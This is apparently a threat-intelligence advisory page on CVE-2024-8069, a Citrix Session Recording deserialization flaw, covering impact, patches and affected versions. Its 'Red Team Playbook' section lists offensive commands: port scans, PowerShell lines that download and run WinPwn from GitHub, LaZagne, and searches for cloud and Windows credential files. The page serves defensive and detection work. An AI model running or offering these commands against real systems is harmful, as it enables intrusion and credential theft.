CVE-2024-8069
Overview
This vulnerability is a deserialization flaw (CWE-502) in Citrix Session Recording that allows limited remote code execution. The root cause lies in improper handling of serialized data within the session recording server component, which processes inputs from authenticated users on the same intranet. The flaw enables execution of malicious code with NetworkService account privileges due to insufficient validation of serialized objects.
Vulnerability Description
Limited remote code execution with privilege of a NetworkService Account access in Citrix Session Recording if the attacker is an authenticated user on the same intranet as the session recording server
Impact
An attacker with a low-privileged authenticated account on the internal network can execute arbitrary code on the session recording server with NetworkService privileges. This enables lateral movement within the network, potential data exposure of recorded sessions, and compromise of the recording infrastructure. The attack does not require user interaction beyond authentication, increasing risk in environments with multiple authenticated users on the intranet.
Solution
Citrix has released security updates addressing this vulnerability in Citrix Session Recording versions 1912 CU4 and later, including LTSR updates. Administrators should apply the patches as detailed in Citrix Security Bulletin CTX691941 (https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069). No alternative mitigations are provided; updating to the fixed versions is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Citrix Session Recording allows for limited remote code execution with the privileges of a NetworkService Account, which poses a significant risk to organizations utilizing this software. This flaw arises from improper handling of authenticated user inputs, enabling an attacker with network access to exploit the system if they are already authenticated on the same intranet as the session recording server. The nature of the vulnerability suggests that it could be exploited through crafted requests or commands that the server fails to adequately validate, leading to unauthorized execution of code.
Attack vectors for this vulnerability are particularly concerning due to the requirement for the attacker to be an authenticated user within the same network. This scenario could be realized in environments where users have varying levels of access, such as in corporate intranets or shared workspaces. An attacker could leverage their authenticated status to execute malicious scripts or commands that could compromise the integrity and confidentiality of the session recording server. For instance, an insider threat or a compromised account could lead to the exploitation of this vulnerability, allowing the attacker to manipulate recorded sessions, extract sensitive information, or escalate privileges further within the network.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on Citrix Session Recording for compliance and monitoring purposes. The ability to execute code remotely with elevated privileges can lead to data breaches, loss of sensitive customer information, and potential regulatory penalties. Furthermore, the exploitation of this vulnerability could disrupt business operations, damage the organization’s reputation, and erode customer trust. The financial implications of such incidents can be substantial, encompassing remediation costs, legal fees, and loss of business continuity.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the Citrix Session Recording software is crucial to close any security gaps. Additionally, organizations should monitor user activity for unusual behavior that could indicate exploitation attempts. Employing network segmentation can also limit the exposure of the session recording server to only those users who genuinely require access, thereby reducing the attack surface. Furthermore, implementing strict access controls and user authentication measures can help prevent unauthorized access and limit the potential for exploitation.
In conclusion, the vulnerability in Citrix Session Recording represents a serious threat to organizations that utilize this software for session management and recording. The combination of remote code execution capabilities with the privileges of a NetworkService Account creates a pathway for attackers to compromise systems from within the network. Organizations must prioritize the detection and mitigation of this risk through proactive security measures, regular updates, and vigilant monitoring to safeguard their systems and sensitive data.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-8069, indicating increased adversary interest and potential exploitation attempts within intranet environments. Although the overall exploit prediction score remains stable, the uptick in telemetry suggests that threat actors are actively probing or leveraging this vulnerability more frequently. The emergence of new proof-of-concept exploits publicly available on code repositories further lowers the barrier for attackers to weaponize this flaw, potentially accelerating exploitation timelines. This development underscores an elevated risk posture for organizations relying on Citrix Session Recording, as the vulnerability enables remote code execution with NetworkService privileges, facilitating lateral movement and persistence within compromised networks. Consequently, defenders should recognize this as a signal of heightened threat activity that could precede more widespread exploitation campaigns, warranting increased vigilance despite the absence of confirmed ransomware linkage at this time.
Update 2 — August 14, 2026
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2024-8069, indicating a modest uptick in adversary interest and potential exploitation attempts within intranet environments where Citrix Session Recording is deployed. Although the overall exploit trend remains stable, this subtle rise in telemetry signals a growing reconnaissance or initial access phase by threat actors leveraging authenticated network positions. The emergence of new proof-of-concept exploits further lowers the barrier for exploitation, potentially accelerating attack timelines. While there is no current evidence linking this vulnerability to ransomware campaigns, the increased activity heightens the risk of lateral movement and persistence within affected networks. Consequently, the threat level should be considered elevated from moderate to high, reflecting a more active exploitation landscape that demands sustained monitoring.
Update 3 — August 22, 2026
CSURFACE threat intelligence has identified a notable surge in exploitation attempts targeting CVE-2024-8069 within intranet environments, reflected by a marked increase in detection activity across our sensors. Although the EPSS score shows a slight decline, this metric does not fully capture the growing operational interest and active reconnaissance efforts observed. The availability of new proof-of-concept exploits continues to lower the technical barriers, facilitating more frequent and potentially sophisticated attempts to leverage the vulnerability. This escalation underscores an elevated risk of lateral movement and persistence by adversaries who have already gained authenticated access within affected networks. While ransomware involvement remains unconfirmed, the intensification of exploitation attempts signals a shift toward a more aggressive threat posture. Consequently, the threat level associated with CVE-2024-8069 should be reassessed as high, reflecting the increased likelihood of successful compromise and the need for vigilant monitoring of network activity related to Citrix Session Recording environments.
Affected Products (17)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Session Recording | All |
cpe:2.3:a:citrix:session_recording:*:*:*:*:-:*:*:*
|
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Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:-:*:*:ltsr:*:*:*
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|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu1:*:*:ltsr:*:*:*
|
|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu2:*:*:ltsr:*:*:*
|
|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu3:*:*:ltsr:*:*:*
|
|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu4:*:*:ltsr:*:*:*
|
|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu5:*:*:ltsr:*:*:*
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|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu6:*:*:ltsr:*:*:*
|
|
|
Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu7:*:*:ltsr:*:*:*
|
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Citrix | Session Recording | 1912 |
cpe:2.3:a:citrix:session_recording:1912:cu8:*:*:ltsr:*:*:*
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Citrix | Session Recording | 2203 |
cpe:2.3:a:citrix:session_recording:2203:-:*:*:ltsr:*:*:*
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Citrix | Session Recording | 2203 |
cpe:2.3:a:citrix:session_recording:2203:cu1:*:*:ltsr:*:*:*
|
|
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Citrix | Session Recording | 2203 |
cpe:2.3:a:citrix:session_recording:2203:cu2:*:*:ltsr:*:*:*
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Citrix | Session Recording | 2203 |
cpe:2.3:a:citrix:session_recording:2203:cu3:*:*:ltsr:*:*:*
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Citrix | Session Recording | 2203 |
cpe:2.3:a:citrix:session_recording:2203:cu4:*:*:ltsr:*:*:*
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Citrix | Session Recording | 2402 |
cpe:2.3:a:citrix:session_recording:2402:-:*:*:ltsr:*:*:*
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|
Citrix | Session Recording | 2407 |
cpe:2.3:a:citrix:session_recording:2407:-:*:*:-:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
mdiqbalahmad/cve-2024-8069-exp-Citrix-Virtual-Apps-XEN
Citrix Virtual Apps and Desktops (XEN) Unauthenticated RCE
|
mdiqbalahmad | 0 | 2 | 2024-12-28 | View |
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8069 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069?language=en_US |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8069 |